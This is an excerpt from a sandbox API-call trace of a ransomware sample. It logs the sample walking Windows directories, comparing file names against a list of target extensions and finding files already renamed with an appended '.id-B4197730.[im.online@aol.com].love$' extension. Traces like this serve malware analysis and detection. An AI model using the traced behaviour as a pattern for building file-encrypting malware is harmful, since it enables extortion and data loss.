lstrlenW (lpString=".mrw") returned 4 [0219.777] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".msg") returned 4 [0219.777] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".mxl") returned 4 [0219.777] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0219.777] lstrlenW (lpString=".myd") returned 4 [0219.778] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".myi") returned 4 [0219.778] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".nef") returned 4 [0219.778] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".nrw") returned 4 [0219.778] lstrcmpiW (lpString1=".nrw", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".obj") returned 4 [0219.778] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".odb") returned 4 [0219.778] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".odc") returned 4 [0219.778] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".odm") returned 4 [0219.778] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".odp") returned 4 [0219.778] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".ods") returned 4 [0219.778] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".oft") returned 4 [0219.778] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".one") returned 4 [0219.778] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".onepkg") returned 7 [0219.778] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0219.778] lstrlenW (lpString=".onetoc2") returned 8 [0219.778] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0219.778] lstrlenW (lpString=".opt") returned 4 [0219.778] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".oqy") returned 4 [0219.778] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0219.778] lstrlenW (lpString=".orf") returned 4 [0219.778] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".p12") returned 4 [0219.779] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".p7b") returned 4 [0219.779] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".p7c") returned 4 [0219.779] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pam") returned 4 [0219.779] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pbm") returned 4 [0219.779] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pct") returned 4 [0219.779] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pcx") returned 4 [0219.779] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pdd") returned 4 [0219.779] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pdf") returned 4 [0219.779] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pdp") returned 4 [0219.779] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pef") returned 4 [0219.779] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pem") returned 4 [0219.779] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pff") returned 4 [0219.779] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pfm") returned 4 [0219.779] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pfx") returned 4 [0219.779] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".pgm") returned 4 [0219.779] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0219.779] lstrlenW (lpString=".php") returned 4 [0219.780] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0219.780] lstrlenW (lpString=".php3") returned 5 [0219.780] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0219.780] lstrlenW (lpString=".php4") returned 5 [0219.780] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0219.780] lstrlenW (lpString=".php5") returned 5 [0219.780] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0219.780] lstrlenW (lpString=".phtml") returned 6 [0219.780] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0219.780] lstrlenW (lpString=".pict") returned 5 [0219.780] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0219.780] lstrlenW (lpString=".pl") returned 3 [0219.780] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0219.780] lstrlenW (lpString=".pls") returned 4 [0219.780] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0219.780] lstrlenW (lpString=".pm") returned 3 [0219.780] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0219.780] lstrlenW (lpString=".png") returned 4 [0219.780] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0219.780] lstrlenW (lpString=".pnm") returned 4 [0219.780] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0219.780] lstrlenW (lpString=".pot") returned 4 [0219.780] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0219.780] lstrlenW (lpString=".potm") returned 5 [0219.780] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0219.780] lstrlenW (lpString=".potx") returned 5 [0219.780] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0219.780] lstrlenW (lpString=".ppa") returned 4 [0219.781] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".ppam") returned 5 [0219.781] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0219.781] lstrlenW (lpString=".ppm") returned 4 [0219.781] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".pps") returned 4 [0219.781] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".ppsm") returned 5 [0219.781] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0219.781] lstrlenW (lpString=".ppt") returned 4 [0219.781] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".pptm") returned 5 [0219.781] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0219.781] lstrlenW (lpString=".pptx") returned 5 [0219.781] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0219.781] lstrlenW (lpString=".prn") returned 4 [0219.781] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".ps") returned 3 [0219.781] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0219.781] lstrlenW (lpString=".psb") returned 4 [0219.781] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".psd") returned 4 [0219.781] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".pst") returned 4 [0219.781] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".ptx") returned 4 [0219.781] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".pub") returned 4 [0219.781] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0219.781] lstrlenW (lpString=".pwm") returned 4 [0219.781] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0219.782] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44745f6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa449a7c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="OOBE_2~1.LOV")) returned 1 [0219.782] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44c09ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44c09ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa450d028, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARTNE~1.LOV")) returned 1 [0219.782] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44c09ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44c09ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa450d028, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARTNE~1.LOV")) returned 0 [0219.782] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0219.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0219.784] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0219.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x3230048 [0219.784] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName=".", cAlternateFileName="")) returned 0x6cff08 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="..", cAlternateFileName="")) returned 1 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f3d447, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa3f3d447, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="GetCurrentOOBE.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="GETCUR~1.LOV")) returned 1 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44c09ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44c09ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44c09ca, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="GetCurrentRollback.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="GETCUR~2.LOV")) returned 1 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42d0d6d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa42d0d6d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa42f6edb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="PartnerSetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARTNE~1.LOV")) returned 1 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43695e8, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa43695e8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa43695e8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="preoobe.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PREOOB~1.LOV")) returned 1 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa434316a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa434316a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa442820e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPC~1.LOV")) returned 1 [0222.632] FindNextFileW (in: hFindFile=0x6cff08, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa434316a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa434316a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa442820e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe636, dwReserved1=0x232, cFileName="SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPC~1.LOV")) returned 0 [0222.632] FindClose (in: hFindFile=0x6cff08 | out: hFindFile=0x6cff08) returned 1 [0222.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0222.634] FindNextFileW (in: hFindFile=0x6d00c8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0222.634] FindClose (in: hFindFile=0x6d00c8 | out: hFindFile=0x6d00c8) returned 1 [0222.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fe48 | out: hHeap=0x670000) returned 1 [0222.635] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0222.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x3230048 [0222.636] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName=".", cAlternateFileName="")) returned 0x6cfec8 [0222.636] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="..", cAlternateFileName="")) returned 1 [0222.637] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0222.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x74fe48 [0222.637] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0xffffe054, dwReserved1=0x256, cFileName="￿ⴸmǿ", cAlternateFileName="魨o\x08")) returned 0xffffffff [0222.639] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74fe48 | out: hHeap=0x670000) returned 1 [0222.639] FindNextFileW (in: hFindFile=0x6cfec8, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0222.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x74fe48 [0222.639] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe054, dwReserved1=0x256, cFileName=".", cAlternateFileName="")) returned 0x6d0308 [0222.640] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe054, dwReserved1=0x256, cFileName="..", cAlternateFileName="")) returned 1 [0222.640] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x46e3ac73, ftCreationTime.dwHighDateTime=0x1d61695, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e60cb9, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffe054, dwReserved1=0x256, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.640] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa45ceef9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa45ceef9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa45f1e62, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe054, dwReserved1=0x256, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 1 [0222.640] lstrlenW (lpString="desktop.ini.id-B4197730.[im.online@aol.com].love$") returned 49 [0222.640] lstrlenW (lpString=".1cd") returned 4 [0222.640] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0222.640] lstrlenW (lpString=".3ds") returned 4 [0222.640] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0222.640] lstrlenW (lpString=".3fr") returned 4 [0222.640] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0222.640] lstrlenW (lpString=".3g2") returned 4 [0222.640] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0222.640] lstrlenW (lpString=".3gp") returned 4 [0222.640] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0222.640] lstrlenW (lpString=".7z") returned 3 [0222.640] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0222.640] lstrlenW (lpString=".accda") returned 6 [0222.640] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0222.640] lstrlenW (lpString=".accdb") returned 6 [0222.640] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0222.640] lstrlenW (lpString=".accdc") returned 6 [0222.641] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0222.641] lstrlenW (lpString=".accde") returned 6 [0222.641] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0222.641] lstrlenW (lpString=".accdt") returned 6 [0222.641] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0222.641] lstrlenW (lpString=".accdw") returned 6 [0222.641] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0222.641] lstrlenW (lpString=".adb") returned 4 [0222.641] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".adp") returned 4 [0222.641] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".ai") returned 3 [0222.641] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0222.641] lstrlenW (lpString=".ai3") returned 4 [0222.641] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".ai4") returned 4 [0222.641] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".ai5") returned 4 [0222.641] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".ai6") returned 4 [0222.641] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".ai7") returned 4 [0222.641] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".ai8") returned 4 [0222.641] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".anim") returned 5 [0222.641] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0222.641] lstrlenW (lpString=".arw") returned 4 [0222.641] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0222.641] lstrlenW (lpString=".as") returned 3 [0222.641] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0222.642] lstrlenW (lpString=".asa") returned 4 [0222.642] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".asc") returned 4 [0222.642] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".ascx") returned 5 [0222.642] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0222.642] lstrlenW (lpString=".asm") returned 4 [0222.642] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".asmx") returned 5 [0222.642] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0222.642] lstrlenW (lpString=".asp") returned 4 [0222.642] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".aspx") returned 5 [0222.642] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0222.642] lstrlenW (lpString=".asr") returned 4 [0222.642] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".asx") returned 4 [0222.642] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".avi") returned 4 [0222.642] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".avs") returned 4 [0222.642] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0222.642] lstrlenW (lpString=".backup") returned 7 